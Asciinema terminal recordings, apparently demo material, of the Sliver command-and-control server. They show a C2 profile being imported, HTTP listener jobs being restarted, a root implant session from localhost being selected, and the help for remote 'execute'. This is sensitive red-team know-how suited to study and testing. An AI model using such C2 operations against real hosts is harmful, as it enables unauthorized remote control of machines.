[38.785174, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[38.785631, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[43D\u001b[9C\u001b[272D\u001b[43C\u001b[?25h"]
|
||||
[38.89326, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[38.898343, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[38.899929, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[44D\u001b[9C\u001b[272D\u001b[44C\u001b[?25h"]
|
||||
[38.967681, "o", "\u001b[?25l\u001b[272D"]
|
||||
[38.969536, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[38.979525, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[38.980535, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[45D\u001b[9C\u001b[272D\u001b[45C\u001b[?25h"]
|
||||
[39.022552, "o", "\u001b[?25l\u001b[272D"]
|
||||
[39.022873, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.02837, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[46D\u001b[9C"]
|
||||
[39.030542, "o", "\u001b[272D\u001b[46C\u001b[?25h"]
|
||||
[39.088579, "o", "\u001b[?25l\u001b[272D"]
|
||||
[39.089001, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.095252, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[47D\u001b[9C\u001b[272D\u001b[47C\u001b[?25h"]
|
||||
[39.2076, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.222643, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[48D\u001b[9C"]
|
||||
[39.224495, "o", "\u001b[272D\u001b[48C\u001b[?25h"]
|
||||
[39.469353, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.476682, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[39.478613, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[49D\u001b[9C\u001b[272D\u001b[49C\u001b[?25h"]
|
||||
[39.756896, "o", "\u001b[?25l"]
|
||||
[39.758744, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.766387, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[39.767647, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[50D\u001b[9C\u001b[272D\u001b[50C\u001b[?25h"]
|
||||
[39.895335, "o", "\u001b[?25l"]
|
||||
[39.895941, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.912461, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[39.91286, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[51D\u001b[9C\u001b[272D\u001b[51C\u001b[?25h"]
|
||||
[40.073684, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[40.075728, "o", "\u001b[6n"]
|
||||
[40.08134, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[40.081568, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[52D\u001b[9C\u001b[272D\u001b[52C\u001b[?25h"]
|
||||
[40.131466, "o", "\u001b[?25l\u001b[272D"]
|
||||
[40.13189, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.13909, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mru\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[53D"]
|
||||
[40.139397, "o", "\u001b[9C\u001b[272D\u001b[53C\u001b[?25h"]
|
||||
[40.258919, "o", "\u001b[?25l"]
|
||||
[40.259556, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[40.26376, "o", "\u001b[6n"]
|
||||
[40.278483, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mrub\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[40.279502, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[54D\u001b[9C\u001b[272D\u001b[54C\u001b[?25h"]
|
||||
[40.393796, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[40.397861, "o", "\u001b[6n"]
|
||||
[40.415177, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mruby\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[40.417477, "o", "\u001b[272D\u001b[1A\u001b[55D\u001b[9C\u001b[272D\u001b[55C\u001b[?25h"]
|
||||
[40.642533, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.649219, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mruby \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[56D\u001b[9C\u001b[272D\u001b[56C\u001b[?25h"]
|
||||
[41.224521, "o", "\u001b[?25l"]
|
||||
[41.231473, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[41.248213, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.249567, "o", "\u001b[272D\u001b[1A\u001b[57D\u001b[9C\u001b[272D\u001b[57C\u001b[?25h"]
|
||||
[42.074388, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[42.08925, "o", "\u001b[6n"]
|
||||
[42.098852, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m-o\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[42.099432, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[58D\u001b[9C\u001b[272D\u001b[58C\u001b[?25h"]
|
||||
[42.897783, "o", "\u001b[58D\u001b[9C"]
|
||||
[42.901519, "o", "\u001b[6n"]
|
||||
[42.908676, "o", "\u001b[272D\u001b[58C\u001b[0J"]
|
||||
[42.908794, "o", "\u001b[272D\r\r\n"]
|
||||
[42.911002, "o", "\u001b[0 q\r\n"]
|
||||
[42.990316, "o", "\u001b[0G"]
|
||||
[42.990462, "o", "\u001b[2K"]
|
||||
[42.993166, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mRestart HTTP/S jobs? \u001b[0m\u001b[0;37m(y/N) \u001b[0m"]
|
||||
[42.993645, "o", "\u001b[?25l\u001b7\u001b[999;999f\u001b[6n"]
|
||||
[42.995378, "o", "\u001b8"]
|
||||
[42.995893, "o", "\u001b[?25h\u001b[6n"]
|
||||
[44.328057, "o", "y"]
|
||||
[45.019835, "o", "\u001b[1D\r\n\u001b[1B\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[45.03526, "o", "\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mRestart HTTP/S jobs? \u001b[0m\u001b[0;36mYes\u001b[0m\r\n"]
|
||||
[45.05739, "o", "\r\u001b[2K\u001b[1m\u001b[31m[!] \u001b[0mJob #1 stopped (tcp/http)"]
|
||||
[45.05942, "o", "\r\u001b[2K\u001b[1m\u001b[31m[!] \u001b[0mJob #1 stopped (tcp/http)"]
|
||||
[45.114122, "o", "\r\n"]
|
||||
[45.127711, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[45.129791, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[45.130549, "o", "\u001b[6n"]
|
||||
[45.13363, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[45.134555, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[46.627644, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[46.641586, "o", "j\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[46.643827, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
|
||||
[46.815391, "o", "\u001b[?25l"]
|
||||
[46.817358, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[46.834233, "o", "jo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
|
||||
[47.020359, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[47.023847, "o", "\u001b[6n"]
|
||||
[47.035178, "o", "job\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[12D\u001b[9C"]
|
||||
[47.035398, "o", "\u001b[272D\u001b[12C\u001b[?25h"]
|
||||
[47.186485, "o", "\u001b[?25l"]
|
||||
[47.202742, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[47.210579, "o", "\u001b[1m\u001b[32mjobs\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[47.211902, "o", "\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
|
||||
[47.436803, "o", "\u001b[13D\u001b[9C"]
|
||||
[47.438373, "o", "\u001b[6n"]
|
||||
[47.44354, "o", "\u001b[272D\u001b[13C\u001b[0J\u001b[272D\r\r\n"]
|
||||
[47.444708, "o", "\u001b[0 q\r\n"]
|
||||
[47.472222, "o", " ID Name Protocol Port Domains \r\n==== ====== ========== ====== =========\r\n 3 http tcp 80 \r\n\r\n"]
|
||||
[47.487801, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[47.488769, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[47.493844, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[47.494852, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[48.939856, "o", "\u001b[?25l"]
|
||||
[48.945319, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[48.958852, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[48.959329, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
|
||||
[49.115651, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[49.128682, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[49.12958, "o", "\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
|
||||
[49.287707, "o", "\u001b[?25l"]
|
||||
[49.292955, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[49.30288, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[49.303432, "o", "\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
|
||||
[49.485156, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[49.500361, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[49.504271, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
|
||||
[50.263769, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[50.267739, "o", "\u001b[272D\u001b[13C\u001b[0J\u001b[272D\r\r\n"]
|
||||
[50.269312, "o", "\u001b[0 q\r\n"]
|
||||
[50.276245, "o", "Exiting...\r\n"]
|
||||
[50.293761, "o", "# "]
|
||||
[51.372846, "o", "^C"]
|
||||
[51.379375, "o", "\r\n"]
|
||||
[51.379682, "o", "# "]
|
||||
[51.813502, "o", "\r\n"]
|
||||
@@ -0,0 +1,307 @@
|
||||
{"version": 2, "width": 107, "height": 52, "timestamp": 1714577344, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.1326, "o", "\u001b[?2004h"]
|
||||
[0.140706, "o", "root@98df0494f659:~# "]
|
||||
[0.710776, "o", "."]
|
||||
[0.724207, "o", "/"]
|
||||
[1.043813, "o", "s"]
|
||||
[1.147166, "o", "l"]
|
||||
[1.330001, "o", "i"]
|
||||
[1.481599, "o", "v"]
|
||||
[1.596179, "o", "e"]
|
||||
[1.746669, "o", "r"]
|
||||
[1.846813, "o", "-"]
|
||||
[1.98099, "o", "s"]
|
||||
[2.064556, "o", "e"]
|
||||
[2.166834, "o", "r"]
|
||||
[2.308631, "o", "ver "]
|
||||
[2.734668, "o", "\r\n"]
|
||||
[2.736753, "o", "\u001b[?2004l\r"]
|
||||
[3.810137, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\nAll hackers gain dash\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[3.81282, "o", "\r\n"]
|
||||
[3.840912, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.842733, "o", "\u001b[1 q"]
|
||||
[3.844801, "o", "\u001b[?25l"]
|
||||
[3.8449, "o", "\u001b[107D"]
|
||||
[3.846077, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[3.848514, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[3.848844, "o", "\r\r\n\u001b[0K"]
|
||||
[3.849682, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[6.306709, "o", "\u001b[9D\u001b[9C"]
|
||||
[6.307527, "o", "\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession e1bcdc51 CURRENT_RESIST - 127.0.0.1:59370 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 15:29:11 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.309613, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[6.310035, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[7.953828, "o", "\u001b[?25l\u001b[107D"]
|
||||
[7.955531, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.963749, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D"]
|
||||
[7.964016, "o", "\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[8.029707, "o", "\u001b[?25l\u001b[107D"]
|
||||
[8.036125, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.039629, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[8.094035, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.10045, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[8.398557, "o", "\u001b[12D\u001b[9C\u001b[6n"]
|
||||
[8.399508, "o", "\u001b[107D\u001b[12C"]
|
||||
[8.399706, "o", "\u001b[0J\u001b[107D\r\r\n"]
|
||||
[8.402185, "o", "\u001b[0 q\r\n"]
|
||||
[8.429132, "o", "\u001b7\u001b[?25l"]
|
||||
[8.429794, "o", "\u001b8"]
|
||||
[8.430496, "o", "\u001b[0G\u001b[2K"]
|
||||
[8.441592, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION e1bcdc51 CURRENT_RESIST 127.0.0.1:59370 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
|
||||
[8.44459, "o", "\u001b[1A\u001b[0G"]
|
||||
[9.251683, "o", "\u001b8\u001b[?25h\u001b8"]
|
||||
[9.255016, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G"]
|
||||
[9.256809, "o", "\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[9.258119, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION e1bcdc51 CURRENT_RESIST 127.0.0.1:59370 98df0494f659 root linux/amd64\u001b[0m"]
|
||||
[9.260355, "o", "\r\n"]
|
||||
[9.272535, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CURRENT_RESIST (e1bcdc51-51db-461f-964e-3e9aa6727b09)\r\n"]
|
||||
[9.308304, "o", "\r\n"]
|
||||
[9.320355, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[9.320659, "o", "\u001b[1 q"]
|
||||
[9.321354, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[9.323351, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[9.323863, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[11.646644, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[11.654024, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
|
||||
[11.875207, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[11.881933, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.882199, "o", "\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
|
||||
[12.020674, "o", "\u001b[?25l\u001b[107D"]
|
||||
[12.027967, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[12.03527, "o", "exe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
|
||||
[12.162061, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[12.163295, "o", "\u001b[6n"]
|
||||
[12.16671, "o", "exec\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
|
||||
[12.378537, "o", "\u001b[?25l"]
|
||||
[12.382289, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[12.389835, "o", "execu\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[12.643075, "o", "\u001b[?25l\u001b[107D"]
|
||||
[12.643948, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[12.650862, "o", "execut\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[12.651194, "o", "\r\n\u001b[0K"]
|
||||
[12.653557, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[26C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[12.768298, "o", "\u001b[?25l\u001b[107D"]
|
||||
[12.769352, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[12.774698, "o", "\u001b[1m\u001b[32mexecute\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[12.775133, "o", "\u001b[1A\u001b[33D\u001b[26C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[12.866691, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[12.874603, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[12.875518, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[13.114144, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[13.116795, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[26C\u001b[107D"]
|
||||
[13.116894, "o", "\u001b[35C\u001b[?25h"]
|
||||
[13.372747, "o", "\u001b[?25l"]
|
||||
[13.374034, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[13.375235, "o", "\u001b[6n"]
|
||||
[13.378893, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[13.37985, "o", "\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[13.542691, "o", "\u001b[36D"]
|
||||
[13.545253, "o", "\u001b[26C\u001b[6n"]
|
||||
[13.553702, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[13.560905, "o", "Execute a program on the remote system\r\n\r\n"]
|
||||
[13.569592, "o", "Usage:\r\n execute [flags]\r\n\r\nFlags:\r\n -h, --help help for execute\r\n -H, --hidden hide the window of the spawned process (Windows only)\r\n -S, --ignore-stderr don't print STDERR output\r\n -X, --loot save output as loot\r\n -n, --name string name to assign loot (optional)\r\n -o, --output capture command output\r\n -P, --ppid uint32 parent process id (optional, Windows only)\r\n -s, --save save output to a file\r\n -E, --stderr string remote path to redirect STDERR to\r\n -O, --stdout string remote path to redirect STDOUT to\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n -T, --token execute command with current token (Windows only)\r\n\r\n"]
|
||||
[13.584792, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[13.58496, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[13.587259, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[14.037364, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
